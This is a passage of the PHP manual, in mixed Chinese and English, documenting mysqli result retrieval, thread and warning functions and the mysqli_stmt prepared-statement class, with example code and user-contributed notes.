MYSQLI_STORE_RESULT_COPY_DATA | 将结果从内部 mysqlnd 缓冲区复制到 PHP 变量中。默认 mysqlnd 采取引用策略来避免在内容中复制多份同样的结果集。例如，对于包含了很多小行的结果集，复制方法可以减少整体内存使用，因为保存结果的 PHP 变量可能会更早释放。（此选项适用于 mysqlnd 驱动）。

返回值

返回缓冲的结果对象，如果发生错误则返回 false。

Note:

如果查询没有返回结果集（例如，执行 INSERT 语句查询），mysqli_store_result()
会返回 false。如果读取结果集失败，也会返回 false。如果通过检查 mysqli_error()
是否返回非空字符串、mysqli_error() 或 mysqli_field_count()
是否返回了非零值来检查是否有错误。此函数在成功调用 mysqli_query() 后返回 false
的一个可能原因是结果集太大（无法分配内存）。如果 mysqli_field_count()
返回非零值，语句应该产生非空结果集。

错误／异常

If mysqli error reporting is enabled (MYSQLI_REPORT_ERROR) and the requested operation fails, a warning is generated. If, in addition, the mode is set to MYSQLI_REPORT_STRICT, a mysqli_sql_exception is thrown instead.

示例

参阅 mysqli_multi_query()。

注释

Note:

执行查询之后，使用 mysqli_free_result() 函数来释放结果集所占用的内存，是一个很有用的实战经验。尤其是当使用 mysqli_store_result() 函数来转移数量较大的结果集的时候，释放结果集内存的操作尤为重要。

参见

  • mysqli_real_query() - 执行一个mysql查询
  • mysqli_use_result() - Initiate a result set retrieval

User Contributed Notes

filippo at ecoms dot it 18-Feb-2018 06:49
Code to handling errors:

if ($mysqli->multi_query($query)) {
    $result = $mysqli->store_result();
    if ($mysqli->errno == 0) {

        /* First result set or FALSE (if the query didn't return a result set) is stored in $result */

        while ($mysqli->more_results()) {
            if ($mysqli->next_result()) {
                $result = $mysqli->store_result();
                if ($mysqli->errno == 0) {
                    /* The result set or FALSE (see above) is stored in $result */
                }
                else {
                    /* Result set read error */
                    break;
                }
            }
            else {
                /* Error in the query */
            }
        }
    }
    else {
        /* First result set read error */
    }
}
else {
    /* Error in the first query */
}
Tex Morgan 06-Jul-2013 10:45
There's a simpler way to clear out database stored procedure problems:

class MySQLiQuery {
     protected $_resultSet;
     protected $databaseConnection;
....

    protected function free(){
        $this->_resultSet->free();
        $this->_resultSet=null;
    }

    protected function checkMoreResults(){
        if($this->databaseConnection->more_results()){
            return true;
        } else {
            return false;
        }
    }

    protected function clearResults(){
        if($this->checkMoreResults()){
            if($this->databaseConnection->next_result()){
                if($this->_resultSet=$this->databaseConnection->store_result()){
                    $this->free();
                }
                $this->clearResults(); // <----------- recursive call is your friend
            }
        }
    }
.......
}
mitchind 04-Feb-2010 08:28
After reading through original notes and example above as well as wading through the documentation, I finally got a loop to work with two stored procedures.

Using the results of the first one as a parameter for the second one. Easier to do this way than a huge modified sequence of Inner Join queries.

Hope this helps others...

<?php
// Connect to server and database
$mysqli        = new mysqli("$dbServer", "$dbUser", "$dbPass", "$dbName");

// Open First Stored Procedure using MYSQLI_STORE_RESULT to retain for looping
$resultPicks = $mysqli->query("CALL $proc ($searchDate, $maxRSI, $incRSI, $minMACD, $minVol, $minTrades, $minClose, $maxClose)", MYSQLI_STORE_RESULT);

// process one row at a time from first SP
while($picksRow = $resultPicks->fetch_array(MYSQLI_ASSOC)) {
    // Get Parameter for next SP
    $symbol     = $picksRow['Symbol'];

    // Free stored results
    clearStoredResults($mysqli);

    // Execute second SP using value from first as a parameter (MYSQLI_USE_RESULT and free result right away)
    $resultData    = $mysqli->query("CALL prcGetLastMACDDatesBelowZero('$symbol', $searchDate)", MYSQLI_USE_RESULT);
    $dataRow    = $resultData->fetch_array(MYSQLI_ASSOC);

    // Dump result from both related queries
    echo "<p>$symbol ... Num Dates: " . $dataRow['NumDates'];

    // Free results from second SP
    $resultData->free();

}

// Free results from first SP
$resultPicks->free();

// close connections
$mysqli->close();

#------------------------------------------
function clearStoredResults($mysqli_link){
#------------------------------------------
    while($mysqli_link->next_result()){
      if($l_result = $mysqli_link->store_result()){
              $l_result->free();
      }
    }
}
?>
Warner 21-Jul-2009 02:45
It also seems, that executing a SET statement in multi_query() returns an extra recordset too, which one would not expect.
lau at goldenweb dot com dot au 13-Apr-2007 01:29
Beware when using stored procedures:
If you connect to the database and then call dbproc A followed by a call to db proc B and then close the connection to the db, the second procedure call will not work.

It looks like there is a bug in MYSQL or mysqli that returns an extra recordset than you would expect. It then doesn't let you call another stored procedure until you finish processing all the recordsets from the first stored procedure call.

The solution is to simply loop through the additional recordsets between calls to db procs. Here is a function that I call between db proc calls:

<?php
#--------------------------------
function ClearRecordsets($p_Result){
#--------------------------------
    $p_Result->free();
    while($this->Mysqli->next_result()){
      if($l_result = $this->Mysqli->store_result()){
              $l_result->free();
      }
    }
}

?>


返回当前连接的线程 ID

  • ? mysqli::store_result
  • mysqli::thread_safe ?
  • PHP Manual
  • mysqli
  • 返回当前连接的线程 ID

mysqli::$thread_id

mysqli_thread_id

(PHP 5, PHP 7, PHP 8)

mysqli::$thread_id -- mysqli_thread_id — 返回当前连接的线程 ID

说明

面向对象风格

int $mysqli->thread_id;

过程化风格

mysqli_thread_id(mysqli $mysql): int

mysqli_thread_id() 函数返回当前连接的线程 ID，然后可以使用 mysqli_kill() 函数将其终止。如果连接中断且使用 mysqli_ping() 重新连接，线程 ID 会发生改变。所以，仅在需要时获取线程 ID。

Note:

线程 ID 是连接的基础上分配的。因此，如果连接断开然后重新建立，将分配新的线程 ID。

要终止正在查询的命令，可以使用 SQL 命令 KILL QUERY processid。

参数

mysql

仅以过程化样式：由 mysqli_connect() 或 mysqli_init() 返回的 mysqli 对象。

返回值

返回当前连接的线程 ID。

示例

Example #1 $mysqli->thread_id 示例

面向对象风格

<?php
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* 检查连接 */
if (mysqli_connect_errno()) {
printf("Connect failed: %s\n", mysqli_connect_error());
exit();
}

/* 确定线程 ID */
$thread_id = $mysqli->thread_id;

/* 杀掉连接 */
$mysqli->kill($thread_id);

/* 这句代码应该会报错 */
if (!$mysqli->query("CREATE TABLE myCity LIKE City")) {
printf("Error: %s\n", $mysqli->error);
exit;
}

/* 关闭连接 */
$mysqli->close();
?>

过程化风格

<?php
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* 检查连接 */
if (mysqli_connect_errno()) {
printf("Connect failed: %s\n", mysqli_connect_error());
exit();
}

/* 确定线程 ID */
$thread_id = mysqli_thread_id($link);

/* 杀掉连接 */
mysqli_kill($link, $thread_id);

/* 这句代码应该会报错 */
if (!mysqli_query($link, "CREATE TABLE myCity LIKE City")) {
printf("Error: %s\n", mysqli_error($link));
exit;
}

/* close connection */
mysqli_close($link);
?>

以上示例会输出：

Error: MySQL server has gone away

参见

  • mysqli_kill() - 让服务器杀死一个 MySQL 线程

User Contributed Notes

There are no user contributed notes for this page.


返回是否线程安全

  • ? mysqli::$thread_id
  • mysqli::use_result ?
  • PHP Manual
  • mysqli
  • 返回是否线程安全

mysqli::thread_safe

mysqli_thread_safe

(PHP 5, PHP 7, PHP 8)

mysqli::thread_safe -- mysqli_thread_safe — 返回是否线程安全

说明

面向对象风格

public mysqli::thread_safe(): bool

过程化风格

mysqli_thread_safe(): bool

告知本数据库客户端库是否编译为线程安全的。

参数

此函数没有参数。

返回值

如果客户端线程安全为 true，否则为 false。

User Contributed Notes

There are no user contributed notes for this page.


Initiate a result set retrieval

  • ? mysqli::thread_safe
  • mysqli::$warning_count ?
  • PHP Manual
  • mysqli
  • Initiate a result set retrieval

mysqli::use_result

mysqli_use_result

(PHP 5, PHP 7, PHP 8)

mysqli::use_result -- mysqli_use_result — Initiate a result set retrieval

说明

面向对象风格

public mysqli::use_result(): mysqli_result|false

过程化风格

mysqli_use_result(mysqli $mysql): mysqli_result|false

Used to initiate the retrieval of a result set from the last query executed using the mysqli_real_query() function on the database connection.

Either this or the mysqli_store_result() function must be called before the results of a query can be retrieved, and one or the other must be called to prevent the next query on that database connection from failing.

Note:

The mysqli_use_result() function does not transfer the entire result set from the database and hence cannot be used functions such as mysqli_data_seek() to move to a particular row within the set. To use this functionality, the result set must be stored using mysqli_store_result(). One should not use mysqli_use_result() if a lot of processing on the client side is performed, since this will tie up the server and prevent other threads from updating any tables from which the data is being fetched.

参数

此函数没有参数。

返回值

Returns an unbuffered result object or false if an error occurred.

错误／异常

If mysqli error reporting is enabled (MYSQLI_REPORT_ERROR) and the requested operation fails, a warning is generated. If, in addition, the mode is set to MYSQLI_REPORT_STRICT, a mysqli_sql_exception is thrown instead.

示例

Example #1 mysqli::use_result() example

面向对象风格

<?php
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
printf("Connect failed: %s\n", mysqli_connect_error());
exit();
}

$query = "SELECT CURRENT_USER();";
$query .= "SELECT Name FROM City ORDER BY ID LIMIT 20, 5";

/* execute multi query */
if ($mysqli->multi_query($query)) {
do {
/* store first result set */
if ($result = $mysqli->use_result()) {
while ($row = $result->fetch_row()) {
printf("%s\n", $row[0]);
}
$result->close();
}
/* print divider */
if ($mysqli->more_results()) {
printf("-----------------\n");
}
} while ($mysqli->next_result());
}

/* close connection */
$mysqli->close();
?>

过程化风格

<?php
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
printf("Connect failed: %s\n", mysqli_connect_error());
exit();
}

$query = "SELECT CURRENT_USER();";
$query .= "SELECT Name FROM City ORDER BY ID LIMIT 20, 5";

/* execute multi query */
if (mysqli_multi_query($link, $query)) {
do {
/* store first result set */
if ($result = mysqli_use_result($link)) {
while ($row = mysqli_fetch_row($result)) {
printf("%s\n", $row[0]);
}
mysqli_free_result($result);
}
/* print divider */
if (mysqli_more_results($link)) {
printf("-----------------\n");
}
} while (mysqli_next_result($link));
}

/* close connection */
mysqli_close($link);
?>

以上示例会输出：

my_user@localhost
-----------------
Amersfoort
Maastricht
Dordrecht
Leiden
Haarlemmermeer

参见

  • mysqli_real_query() - 执行一个mysql查询
  • mysqli_store_result() - 传输上次查询的结果集

User Contributed Notes

Anonymous 14-Sep-2012 05:30
> One should not use mysqli_use_result() if a lot of processing on the client side is performed, since this will tie up the server and prevent other threads from updating any tables from which the data is being fetched.

Another way of understanding the "blocking" behavior of this "use_result" method is that by using this method (or the MYSQLI_USE_RESULT flag on the "query" method), if attempting to run a second query of any kind - updates, inserts, selects, or other - while still working with these first results, the second query will fail.  Checking mysqli->error, you should get a "Commands out of sync" error on the second query call.

However, if you use the "store_result" method (or the default MYSQLI_STORE_RESULT flag on the "query" method) instead, the second query will execute just fine.

Just to demonstrate this "blocking" behavior of this "use_result" method, the second query on line 7 below would otherwise fail if you instead used "use_result" on line 3:

<?php
$mysqli->real_query('SELECT * FROM `test`');
$query = $mysqli->store_result();
while ($row = $query->fetch_assoc()) {
    $id = (int) $row['id'];
    $query2 = $mysqli->query("UPDATE `test` SET `label` = md5(rand()) WHERE `id` = $id");
}
?>


Returns the number of warnings from the last query for the given link

  • ? mysqli::use_result
  • mysqli_stmt ?
  • PHP Manual
  • mysqli
  • Returns the number of warnings from the last query for the given link

mysqli::$warning_count

mysqli_warning_count

(PHP 5, PHP 7, PHP 8)

mysqli::$warning_count -- mysqli_warning_count — Returns the number of warnings from the last query for the given link

说明

面向对象风格

int $mysqli->warning_count;

过程化风格

mysqli_warning_count(mysqli $mysql): int

Returns the number of warnings from the last query in the connection.

Note:

For retrieving warning messages you can use the SQL command SHOW WARNINGS [limit row_count].

参数

mysql

仅以过程化样式：由 mysqli_connect() 或 mysqli_init() 返回的 mysqli 对象。

返回值

Number of warnings or zero if there are no warnings.

示例

Example #1 $mysqli->warning_count example

面向对象风格

<?php
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
printf("Connect failed: %s\n", mysqli_connect_error());
exit();
}

$mysqli->query("CREATE TABLE myCity LIKE City");

/* a remarkable city in Wales */
$query = "INSERT INTO myCity (CountryCode, Name) VALUES('GBR',
'Llanfairpwllgwyngyllgogerychwyrndrobwllllantysiliogogogoch')";

$mysqli->query($query);

if ($mysqli->warning_count) {
if ($result = $mysqli->query("SHOW WARNINGS")) {
$row = $result->fetch_row();
printf("%s (%d): %s\n", $row[0], $row[1], $row[2]);
$result->close();
}
}

/* close connection */
$mysqli->close();
?>

过程化风格

<?php
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
printf("Connect failed: %s\n", mysqli_connect_error());
exit();
}

mysqli_query($link, "CREATE TABLE myCity LIKE City");

/* a remarkable long city name in Wales */
$query = "INSERT INTO myCity (CountryCode, Name) VALUES('GBR',
'Llanfairpwllgwyngyllgogerychwyrndrobwllllantysiliogogogoch')";

mysqli_query($link, $query);

if (mysqli_warning_count($link)) {
if ($result = mysqli_query($link, "SHOW WARNINGS")) {
$row = mysqli_fetch_row($result);
printf("%s (%d): %s\n", $row[0], $row[1], $row[2]);
mysqli_free_result($result);
}
}

/* close connection */
mysqli_close($link);
?>

以上示例会输出：

Warning (1264): Data truncated for column 'Name' at row 1

参见

  • mysqli_errno() - 返回最近函数调用的错误代码
  • mysqli_error() - Returns a string description of the last error
  • mysqli_sqlstate() - 返回上一次 MySQL 操作的 SQLSTATE 错误

User Contributed Notes

There are no user contributed notes for this page.


mysqli_stmt 类

(PHP 5, PHP 7, PHP 8)

简介

代表预处理的语句。

类摘要

class mysqli_stmt {
/* 属性 */
public readonly int|string $affected_rows;
public readonly int|string $insert_id;
public readonly int|string $num_rows;
public readonly int $param_count;
public readonly int $field_count;
public readonly int $errno;
public readonly string $error;
public readonly array $error_list;
public readonly string $sqlstate;
public int $id;
/* 方法 */
public __construct(mysqli $mysql, ?string $query = null)
public attr_get(int $attribute): int
public attr_set(int $attribute, int $value): bool
public bind_param(string $types, mixed &$var, mixed &...$vars): bool
public bind_result(mixed &$var, mixed &...$vars): bool
public close(): true
public data_seek(int $offset): void
public execute(?array $params = null): bool
public fetch(): ?bool
public free_result(): void
public get_result(): mysqli_result|false
public get_warnings(): mysqli_warning|false
public more_results(): bool
public next_result(): bool
public num_rows(): int|string
public prepare(string $query): bool
public reset(): bool
public result_metadata(): mysqli_result|false
public send_long_data(int $param_num, string $data): bool
public store_result(): bool
}

属性

id

存储语句 ID。

Table of Contents

  • mysqli_stmt::$affected_rows — Returns the total number of rows changed, deleted, inserted, or matched by the last statement executed
  • mysqli_stmt::attr_get — Used to get the current value of a statement attribute
  • mysqli_stmt::attr_set — Used to modify the behavior of a prepared statement
  • mysqli_stmt::bind_param — Binds variables to a prepared statement as parameters
  • mysqli_stmt::bind_result — Binds variables to a prepared statement for result storage
  • mysqli_stmt::close — Closes a prepared statement
  • mysqli_stmt::__construct — Constructs a new mysqli_stmt object
  • mysqli_stmt::data_seek — Adjusts the result pointer to an arbitrary row in the buffered result
  • mysqli_stmt::$errno — Returns the error code for the most recent statement call
  • mysqli_stmt::$error_list — Returns a list of errors from the last statement executed
  • mysqli_stmt::$error — Returns a string description for last statement error
  • mysqli_stmt::execute — Executes a prepared statement
  • mysqli_stmt::fetch — Fetch results from a prepared statement into the bound variables
  • mysqli_stmt::$field_count — Returns the number of columns in the given statement
  • mysqli_stmt::free_result — Frees stored result memory for the given statement handle
  • mysqli_stmt::get_result — Gets a result set from a prepared statement as a mysqli_result object
  • mysqli_stmt::get_warnings — Get result of SHOW WARNINGS
  • mysqli_stmt::$insert_id — Get the ID generated from the previous INSERT operation
  • mysqli_stmt::more_results — Check if there are more query results from a multiple query
  • mysqli_stmt::next_result — Reads the next result from a multiple query
  • mysqli_stmt::$num_rows — Returns the number of rows fetched from the server
  • mysqli_stmt::$param_count — Returns the number of parameters for the given statement
  • mysqli_stmt::prepare — Prepares an SQL statement for execution
  • mysqli_stmt::reset — Resets a prepared statement
  • mysqli_stmt::result_metadata — Returns result set metadata from a prepared statement
  • mysqli_stmt::send_long_data — Send data in blocks
  • mysqli_stmt::$sqlstate — Returns SQLSTATE error from previous statement operation
  • mysqli_stmt::store_result — Stores a result set in an internal buffer

User Contributed Notes

anonunfinder at gmail dot com 20-Dec-2013 11:35
<?php
class MySQL
{
    protected $mysql;
    function __construct()
    {
                //Get MySQL config values from config.ini file
        if($config = parse_ini_file("../config.ini"))
        {
            // Obtener los valores del fichero de configuración config.ini
            $ip = $config["ip"];
            $user = $config["usuario"];
            $pass = $config["password"];
            $bd = $config["bd"];

                         //Connection between a database and php
            $this->mysql = new mysqli($ip, $user, $pass, $bd);
        }
    }

    function setResultQuery($query, $param)
    {
        $array = NULL;
        if(!$this->mysql->connect_errno)
        {
            $stmt = $this->setStatement($query, $param);
            try
            {
                if($stmt != NULL)
                {
                    if($stmt->execute())
                    {
                        //Obtener resultados
                        $stmt->store_result();
                        $variables = array();
                        $data = array();
                        $meta = $stmt->result_metadata();
                        while($field = $meta->fetch_field())
                        {
                            $variables[] = &$data[$field->name];
                        }
                        call_user_func_array(array($stmt, 'bind_result'), $variables);
                        $i=0;
                        while($stmt->fetch())
                        {
                                $array[$i] = array();
                                foreach($data as $k=>$v)
                                $array[$i][$k] = $v;
                                $i++;
                        }
                        $stmt->close();
                    }
                }
            }catch(Exception $e){
                $array = FALSE;
            }
        }
        return $array;
    }

    function setStatement($query, $param)
    {
        try
        {
            $stmt = $this->mysql->prepare($query);
            $ref = new ReflectionClass('mysqli_stmt');
            if(count($param) != 0)
            {

                $method = $ref->getMethod('bind_param');
                $method->invokeArgs($stmt, $param);
            }
        }catch(Exception $e){
            if($stmt != null)
            {
                $stmt->close();
            }
        }
        return $stmt;
    }

    function setNoResultQuery($query, $param)
    {
        $validation = FALSE;
        if(!$this->mysql->connect_errno)
        {
            try
            {
                $stmt = $this->setStatement($query, $param);
                if($stmt != null)
                {
                    if($stmt->execute())
                    {
                        $stmt->close();
                        $validacion = TRUE;
                    }
                }
            }catch(Exception $e){
                $validation = FALSE;
            }
        }
        return $validation;
    }

    function __destruct()
    {
        $this->mysql->close();
    }
}
?>
krapfi at gmail dot com 20-May-2008 06:35
The prototype of the mysqli_stmt constructor is mysqli_stmt::__construct(mysqli $link, $query);

To extend mysqli_stmt, do

class myStmt extends mysqli_stmt {
  public function __construct($link, $query) {
    parent::__construct($link, $query);
  }
}

class myI extends mysqli {
  public function prepare($query) {
    return new myStmt($this, $query);
  }
}

http://blog.myhat.de/2007/06/26/pdo-and-extending-mysqli/ has further infos including how to extend mysqli_result


Returns the total number of rows changed, deleted, inserted, or matched by the last statement executed

  • ? mysqli_stmt
  • mysqli_stmt::attr_get ?
  • PHP Manual
  • mysqli_stmt
  • Returns the total number of rows changed, deleted, inserted, or matched by the last statement executed

mysqli_stmt::$affected_rows

mysqli_stmt_affected_rows

(PHP 5, PHP 7, PHP 8)

mysqli_stmt::$affected_rows -- mysqli_stmt_affected_rows — Returns the total number of rows changed, deleted, inserted, or matched by the last statement executed

说明

面向对象风格

int|string $mysqli_stmt->affected_rows;

过程化风格

mysqli_stmt_affected_rows(mysqli_stmt $statement): int|string

Returns the number of rows affected by INSERT, UPDATE, or DELETE query. Works like mysqli_stmt_num_rows() for SELECT statements.

参数

statement

仅以过程化样式：由 mysqli_stmt_init() 返回的 mysqli_stmt 对象。

返回值

An integer greater than zero indicates the number of rows affected or retrieved. Zero indicates that no records were updated for an UPDATE statement, no rows matched the WHERE clause in the query or that no query has yet been executed. -1 indicates that the query returned an error or that, for a SELECT query, mysqli_stmt_affected_rows() was called prior to calling mysqli_stmt_store_result().

Note:

If the number of affected rows is greater than maximum PHP int value, the number of affected rows will be returned as a string value.

示例

Example #1 mysqli_stmt_affected_rows() example

面向对象风格

<?php

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* create temp table */
$mysqli->query("CREATE TEMPORARY TABLE myCountry LIKE Country");

$query = "INSERT INTO myCountry SELECT * FROM Country WHERE Code LIKE ?";

/* prepare statement */
$stmt = $mysqli->prepare($query);

/* Bind variable for placeholder */
$code = 'A%';
$stmt->bind_param("s", $code);

/* execute statement */
$stmt->execute();

printf("Rows inserted: %d\n", $stmt->affected_rows);

过程化风格

<?php

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* create temp table */
mysqli_query($link, "CREATE TEMPORARY TABLE myCountry LIKE Country");

$query = "INSERT INTO myCountry SELECT * FROM Country WHERE Code LIKE ?";

/* prepare statement */
$stmt = mysqli_prepare($link, $query);

/* Bind variable for placeholder */
$code = 'A%';
mysqli_stmt_bind_param($stmt, "s", $code);

/* execute statement */
mysqli_stmt_execute($stmt);

printf("Rows inserted: %d\n", mysqli_stmt_affected_rows($stmt));

以上示例会输出：

Rows inserted: 17

参见

  • mysqli_stmt_num_rows() - Returns the number of rows fetched from the server
  • mysqli_stmt_store_result() - Stores a result set in an internal buffer

User Contributed Notes

Chuck 28-Apr-2007 10:51
I'm not sure whether or not this is the intended behavior, but I noticed through testing that if you were to use transactions and prepared statements together and you added a single record to a database using a prepared statement, but later rolled it back, mysqli_stmt_affected_rows will still return 1.
Carl Olsen 27-Dec-2005 10:34
It appears that an UPDATE prepared statement which contains the same data as that already in the database returns 0 for affected_rows.  I was expecting it to return 1, but it must be comparing the input values with the existing values and determining that no UPDATE has occurred.


Used to get the current value of a statement attribute

  • ? mysqli_stmt::$affected_rows
  • mysqli_stmt::attr_set ?
  • PHP Manual
  • mysqli_stmt
  • Used to get the current value of a statement attribute

mysqli_stmt::attr_get

mysqli_stmt_attr_get

(PHP 5, PHP 7, PHP 8)

mysqli_stmt::attr_get -- mysqli_stmt_attr_get — Used to get the current value of a statement attribute

说明

面向对象风格

public mysqli_stmt::attr_get(int $attribute): int

过程化风格

mysqli_stmt_attr_get(mysqli_stmt $statement, int $attribute): int

Gets the current value of a statement attribute.

参数

statement

仅以过程化样式：由 mysqli_stmt_init() 返回的 mysqli_stmt 对象。

attribute

The attribute that you want to get.

返回值

Returns the value of the attribute.

User Contributed Notes

There are no user contributed notes for this page.


Used to modify the behavior of a prepared statement

  • ? mysqli_stmt::attr_get
  • mysqli_stmt::bind_param ?
  • PHP Manual
  • mysqli_stmt
  • Used to modify the behavior of a prepared statement

mysqli_stmt::attr_set

mysqli_stmt_attr_set

(PHP 5, PHP 7, PHP 8)

mysqli_stmt::attr_set -- mysqli_stmt_attr_set — Used to modify the behavior of a prepared statement

说明

面向对象风格

public mysqli_stmt::attr_set(int $attribute, int $value): bool

过程化风格

mysqli_stmt_attr_set(mysqli_stmt $statement, int $attribute, int $value): bool

Used to modify the behavior of a prepared statement. This function may be called multiple times to set several attributes.

参数

statement

仅以过程化样式：由 mysqli_stmt_init() 返回的 mysqli_stmt 对象。

attribute

The attribute that you want to set. It can have one of the following values:

Attribute values
Character | Description
MYSQLI_STMT_ATTR_UPDATE_MAX_LENGTH | Setting to true causes mysqli_stmt_store_result() to update the metadata MYSQL_FIELD->max_length value.
MYSQLI_STMT_ATTR_CURSOR_TYPE | Type of cursor to open for statement when mysqli_stmt_execute() is invoked. value can be MYSQLI_CURSOR_TYPE_NO_CURSOR (the default) or MYSQLI_CURSOR_TYPE_READ_ONLY.
MYSQLI_STMT_ATTR_PREFETCH_ROWS | Number of rows to fetch from server at a time when using a cursor. value can be in the range from 1 to the maximum value of unsigned long. The default is 1.

If you use the MYSQLI_STMT_ATTR_CURSOR_TYPE option with MYSQLI_CURSOR_TYPE_READ_ONLY, a cursor is opened for the statement when you invoke mysqli_stmt_execute(). If there is already an open cursor from a previous mysqli_stmt_execute() call, it closes the cursor before opening a new one. mysqli_stmt_reset() also closes any open cursor before preparing the statement for re-execution. mysqli_stmt_free_result() closes any open cursor.

If you open a cursor for a prepared statement, mysqli_stmt_store_result() is unnecessary.

value

The value to assign to the attribute.

返回值

成功时返回 true， 或者在失败时返回 false。

错误／异常

If mysqli error reporting is enabled (MYSQLI_REPORT_ERROR) and the requested operation fails, a warning is generated. If, in addition, the mode is set to MYSQLI_REPORT_STRICT, a mysqli_sql_exception is thrown instead.

参见

  • » Connector/MySQL mysql_stmt_attr_set()

User Contributed Notes

chad 0x40 digitellinc 0x2e com 30-Apr-2008 08:20
This is basically a wrapper for mysql_stmt_attr_set in the MySQL C API: http://dev.mysql.com/doc/refman/5.0/en/mysql-stmt-attr-set.html


Binds variables to a prepared statement as parameters

  • ? mysqli_stmt::attr_set
  • mysqli_stmt::bind_result ?
  • PHP Manual
  • mysqli_stmt
  • Binds variables to a prepared statement as parameters

mysqli_stmt::bind_param

mysqli_stmt_bind_param

(PHP 5, PHP 7, PHP 8)

mysqli_stmt::bind_param -- mysqli_stmt_bind_param — Binds variables to a prepared statement as parameters

说明

面向对象风格

public mysqli_stmt::bind_param(string $types, mixed &$var, mixed &...$vars): bool

过程化风格

mysqli_stmt_bind_param(
mysqli_stmt $statement,
string $types,
mixed &$var,
mixed &...$vars
): bool

Bind variables for the parameter markers in the SQL statement prepared by mysqli_prepare() or mysqli_stmt_prepare().

Note:

If data size of a variable exceeds max. allowed packet size (max_allowed_packet), you have to specify b in types and use mysqli_stmt_send_long_data() to send the data in packets.

Note:

Care must be taken when using mysqli_stmt_bind_param() in conjunction with call_user_func_array(). Note that mysqli_stmt_bind_param() requires parameters to be passed by reference, whereas call_user_func_array() can accept as a parameter a list of variables that can represent references or values.

参数

statement

仅以过程化样式：由 mysqli_stmt_init() 返回的 mysqli_stmt 对象。

types

A string that contains one or more characters which specify the types for the corresponding bind variables:

Type specification chars
Character | Description
i | corresponding variable has type int
d | corresponding variable has type float
s | corresponding variable has type string
b | corresponding variable is a blob and will be sent in packets

var
vars

The number of variables and length of string types must match the parameters in the statement.

返回值

成功时返回 true， 或者在失败时返回 false。

错误／异常

If mysqli error reporting is enabled (MYSQLI_REPORT_ERROR) and the requested operation fails, a warning is generated. If, in addition, the mode is set to MYSQLI_REPORT_STRICT, a mysqli_sql_exception is thrown instead.

示例

Example #1 mysqli_stmt::bind_param() example

面向对象风格

<?php

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$mysqli = new mysqli('localhost', 'my_user', 'my_password', 'world');

$stmt = $mysqli->prepare("INSERT INTO CountryLanguage VALUES (?, ?, ?, ?)");
$stmt->bind_param('sssd', $code, $language, $official, $percent);

$code = 'DEU';
$language = 'Bavarian';
$official = "F";
$percent = 11.2;

$stmt->execute();

printf("%d row inserted.\n", $stmt->affected_rows);

/* Clean up table CountryLanguage */
$mysqli->query("DELETE FROM CountryLanguage WHERE Language='Bavarian'");
printf("%d row deleted.\n", $mysqli->affected_rows);

过程化风格

<?php

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$link = mysqli_connect('localhost', 'my_user', 'my_password', 'world');

$stmt = mysqli_prepare($link, "INSERT INTO CountryLanguage VALUES (?, ?, ?, ?)");
mysqli_stmt_bind_param($stmt, 'sssd', $code, $language, $official, $percent);

$code = 'DEU';
$language = 'Bavarian';
$official = "F";
$percent = 11.2;

mysqli_stmt_execute($stmt);

printf("%d row inserted.\n", mysqli_stmt_affected_rows($stmt));

/* Clean up table CountryLanguage */
mysqli_query($link, "DELETE FROM CountryLanguage WHERE Language='Bavarian'");
printf("%d row deleted.\n", mysqli_affected_rows($link));

以上示例会输出：

1 row inserted.
1 row deleted.

Example #2 Using ... to provide arguments

The ... operator can be used to provide variable-length argument list, e.g. in a WHERE IN clause.

<?php

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$mysqli = new mysqli('localhost', 'my_user', 'my_password', 'world');

$stmt = $mysqli->prepare("SELECT Language FROM CountryLanguage WHERE CountryCode IN (?, ?)");
/* Using ... to provide arguments */
$stmt->bind_param('ss', ...['DEU', 'POL']);
$stmt->execute();
$stmt->store_result();

printf("%d rows found.\n", $stmt->num_rows());

以上示例会输出：

10 rows found.

参见

  • mysqli_stmt_bind_result() - Binds variables to a prepared statement for result storage
  • mysqli_stmt_execute() - Executes a prepared statement
  • mysqli_stmt_fetch() - Fetch results from a prepared statement into the bound variables
  • mysqli_prepare() - 预处理执行 SQL
  • mysqli_stmt_send_long_data() - Send data in blocks
  • mysqli_stmt_errno() - Returns the error code for the most recent statement call
  • mysqli_stmt_error() - Returns a string description for last statement error

User Contributed Notes

psufan513 at aol dot com 03-Jan-2022 03:29
I wasn't able to find anything like this, I thought I would post it. If its garbage let me know and I will remove it!

//Usage:
//$query = prepare($db, "SELECT * FROM TABLE WHERE ID = %d AND NAME = %s", 1, 'foo');
//while ($row = $query->fetch_assoc())

// "Splat" ... operator requires PHP 5.6
function prepare($db, $sql, ...$params) {
    if (preg_match_all('/%(\w)/sim', $sql, $types)) {
        $sql = preg_replace('/%(\w)/sim', '?', $sql);
        if ($stmt = $db->prepare($sql)) {
            $stmt->bind_param(implode('', $types[1]), ...$params);
            $stmt->execute();
            $query = $stmt->get_result();
            $stmt->close();
            return $query;
        } else {
            echo 'Error: #' . $db->errno . ' ' . $db->error;
        }
    } else {
        return $db->query($sql);
    }
}
c at zp1 dot net 01-Aug-2021 09:26
It is very important to understand that you can not supply bind_param values

this will not work:

    $stmt -> bind_param("s", "value");

you have to do it like this :

    $var =  "value";
    $stmt -> bind_param("s", $var);
wapharshitsingh at gmail dot com 12-May-2021 03:44
just wanted to share here, how we can use prepare statement with the combination of ... operator effectively .
<?php
class Database{
 private function getTypeofValues($string, $value){
        if(is_float($value)){
            $string .= "d";
        }elseif(is_integer($value)){
            $string .= "i";
        }elseif(is_string($value)){
            $string .= "s";
        }else{
            $string .= "b";
        }
        return $string;
    }
 public function makeQuery($query, array $values){
        $stmt = $this->connection->prepare($query);
        $type = array_reduce($values, array($this, "getTypeOfValues"));
        $stmt->bind_param($type, ...$values);
